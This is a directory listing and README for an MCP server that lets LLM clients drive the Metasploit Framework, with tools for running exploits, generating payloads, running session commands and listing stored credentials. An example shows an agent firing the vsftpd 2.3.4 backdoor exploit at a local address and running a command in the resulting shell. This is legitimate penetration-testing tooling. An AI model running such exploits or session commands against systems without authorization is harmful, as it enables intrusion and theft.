Back to Directory/Developer Tools

io.github.daedalus/mcp-pymetasploit3

MCP server for Metasploit Framework via pymetasploit3

Developer ToolsPythonv0.1.1

mcp-pymetasploit3

MCP server for Metasploit Framework via pymetasploit3. This server exposes all pymetasploit3 functionality as MCP tools, allowing LLMs to interact with Metasploit Framework through the msfrpc protocol.

PyPI Python

Install

pip install mcp-pymetasploit3

MCP Server Configuration

{
  "mcpServers": {
    "mcp-pymetasploit3": {
      "command": "mcp-pymetasploit3",
      "env": {}
    }
  }
}

Usage

Starting Metasploit RPC Server

Before using the MCP server, you need to start the Metasploit RPC server:

Using msfrpcd:

msfrpcd -P yourpassword -p 55553 -n

Using msfconsole:

msfconsole -q
msf6 > load msgrpc Pass=yourpassword

MCP Tools

Once connected, the following tools are available:

Connection Management
  • connect - Connect to Metasploit RPC server
  • disconnect - Disconnect from RPC server
  • get_client_info - Get current connection status
Module Management
  • list_modules - List available modules by type
  • use_module - Load a specific module
  • get_module_info - Get module description and info
  • get_module_options - Get all module options
  • set_module_option - Set a module option
  • get_missing_required - Get required options not set
  • execute_module - Execute a module
  • get_module_targets - Get available targets
  • set_module_target - Set the target
  • get_target_payloads - Get compatible payloads
Payload Generation
  • generate_payload - Generate a payload
Session Management
  • list_sessions - List all active sessions
  • get_session_info - Get session information
  • interact_session - Write/read from session
  • session_run_command - Run command with output
  • stop_session - Stop a session
Console Management
  • create_console - Create a new console
  • destroy_console - Destroy a console
  • write_console - Write to console
  • read_console - Read console output
  • console_is_busy - Check if console is busy
  • run_module_output - Execute module and get output
Core/Framework
  • get_framework_version - Get framework version
  • core_save - Save core state
  • core_reload_modules - Reload modules
  • core_set_global - Set global variable
  • core_unset_global - Unset global variable
Database
  • get_db_status - Get database status
  • db_list_workspaces - List workspaces
  • db_set_workspace - Set current workspace
  • db_list_hosts - List hosts
  • db_list_services - List services
  • db_list_notes - List notes
  • db_list_creds - List credentials
  • db_list_vulns - List vulnerabilities
Jobs
  • list_jobs - List running jobs
  • stop_job - Stop a job
  • get_job_info - Get job information
Plugins
  • list_plugins - List loaded plugins
  • load_plugin - Load a plugin
  • unload_plugin - Unload a plugin
Search
  • search_modules - Search for modules
  • get_module_references - Get module references

Example

# Connect to Metasploit
connect(password="yourpassword", host="127.0.0.1", port=55553, ssl=False)

# List exploits
exploits = list_modules("exploit")

# Use an exploit
use_module("exploit", "unix/ftp/vsftpd_234_backdoor")

# Set options
set_module_option("exploit", "unix/ftp/vsftpd_234_backdoor", "RHOSTS", "192.168.1.100")

# Execute
result = execute_module("exploit", "unix/ftp/vsftpd_234_backdoor", payload="cmd/unix/interact")

# List sessions
sessions = list_sessions()

# Interact with session
output = interact_session("1", "whoami")

# Disconnect
disconnect()

Development

git clone https://github.com/daedalus/mcp-pymetasploit3.git
cd mcp-pymetasploit3
pip install -e ".[test]"

# run tests
pytest

# format
ruff format src/ tests/

# lint
ruff check src/ tests/

# type check
mypy src/

mcp-name: io.github.daedalus/mcp-pymetasploit3

Installation

Source-derived launch command. Check the maintainer’s required arguments and credentials before running:

bash
uvx mcp-pymetasploit3

Set up in your AI client

Merge this template into ~/Library/Application Support/Claude/claude_desktop_config.json. Keep existing servers. Add any arguments, credentials, and permissions required by the maintainer; this template has not been install-tested.

json
{
  "mcpServers": {
    "io-github-daedalus-mcp-pymetasploit3": {
      "command": "uvx",
      "args": [
        "mcp-pymetasploit3"
      ]
    }
  }
}

Restart Claude Desktop completely for changes to take effect. Confirm the server appears connected in the client’s tool list, then try a read-only example from its documentation.

Claude Desktop setup reference

Package

mcp-pymetasploit3pypi

Compatible MCP Clients

io.github.daedalus/mcp-pymetasploit3 works with any MCP-compatible client. Copy the config snippet from the Configuration section above and add it to the file shown for your client, then restart the application.

  • Claude Desktop~/Library/Application Support/Claude/claude_desktop_config.jsonRestart Claude Desktop completely for changes to take effect.
  • Cursor~/.cursor/mcp.jsonRestart Cursor for changes to take effect.
  • VS Code.vscode/mcp.jsonReload VS Code window for changes to take effect.
  • Windsurf~/.codeium/windsurf/mcp_config.jsonRestart Windsurf for changes to take effect.
  • Claude Code.mcp.jsonSave at the project root, then start Claude Code in that project and review the MCP server approval prompt. Keep real credentials out of shared files.

Learn More